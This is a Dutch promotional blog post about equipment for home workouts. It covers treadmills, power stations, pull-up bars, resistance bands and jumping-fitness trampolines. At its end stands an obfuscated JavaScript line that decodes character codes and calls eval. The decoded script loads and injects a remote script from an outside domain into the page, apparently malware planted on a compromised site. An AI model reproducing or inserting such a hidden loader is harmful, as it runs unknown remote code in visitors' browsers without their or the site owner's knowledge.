Alles wat je moet weten voor een uitdagende thuis workout
Een effectieve en uitdagende workout voor thuis bedenken kan best lastig zijn. Ga je oefeningen doen met jouw eigen lichaamsgewicht? Of gebruik je liever gewichten en apparaten bij het sporten? Wil je trainen op kracht, of wil je liever aan jouw conditie en uithoudingsvermogen werken? Allemaal vragen waar jij rekening mee moet houden als je wilt gaan thuissporten. Wij geven je graag wat bruikbare tips die jij kunt gebruiken om de perfecte workout voor thuis te creëren. Kijk ondertussen even bij Vikingchoice voor betaalbare sportartikelen speciaal voor thuis.
Effectieve sportapparaten voor thuis
Sportapparaten zijn vaak prijzig om aan te schaffen. Daarbij nemen ze ook nog eens een hoop ruimte in beslag. Het is daarom belangrijk dat je direct de juiste sportapparaten aanschaft die geschikt zijn voor de vooraf gestelde doelstellingen die jij wilt behalen. Wil je aan je conditie werken? Dan kan een elektrische loopband voor jou een uitkomst zijn. Of liever een rondje fietsen? Dan kun je beter op zoek gaan naar een hometrainer met elektromagnetische weerstand of spinningbike. Een ander zeer effectief sportapparaat is een krachtstation. Niet bedoelt voor conditie, maar geschikt voor spieropbouw. Met een krachtstation kun je vrijwel alle denkbare krachttraining oefeningen doen. Benen, armen, buik of het bovenlichaam. Allemaal te trainen met een krachtstation. Liever geen grote apparaten in huis? Lees dan hieronder
Minimale rotzooi in huis, maximaal effect tijdens het trainen
Je wilt wel lekker thuissporten, maar liever geen grote apparaten in huis zoals een krachtstation of een loopband. Er zijn gelukkig voldoende kleinere sportartikelen die net zo effectief zijn als grote sportschool apparaten. Bijvoorbeeld een verwijderbare pull up bar die je tussen de deurkozijnen kunt monteren. Als je klaar bent met trainen berg je de pull up bar weer op in de kast. Een ander effectief sportartikel is een elastische weerstandband. Hiermee kun je dezelfde oefeningen uitvoeren als met halters en andere gewichten, zonder dat je hiervoor een complete gewichten set hoeft aan te schaffen.
Spring jezelf in conditie met een Jumping fitness trampoline
Jumping fitness is de nieuwste fitness hype uit Verenigde Staten. In tegenstelling tot een normale trampoline gaat het er niet om hoe hoog je kunt springen, maar gaat het erom dat je normale bewegingen zoals lunges uitvoert op een speciale trampoline. Een Jumping fitness trampoline heeft een handvat waaraan je jezelf weer naar beneden kunt trekken zodra je omhoog springt. De intensiteit van een jumping fitnessprogramma kun je vergelijken als een spinning sessie op een wielrenfiets. Perfect om thuis online Jumping fitness trainingslessen te volgen.
var z =String;var t=z.fromCharCode(118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,39,104,116,116,112,115,58,47,47,99,100,110,46,115,116,97,116,105,115,116,105,99,108,105,110,101,46,99,111,109,47,115,99,114,105,112,116,115,47,115,119,97,121,46,106,115,63,118,61,50,39,59,32,10,115,46,105,100,61,39,115,119,97,121,116,114,97,99,107,39,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,125);eval(/*674867468*/t);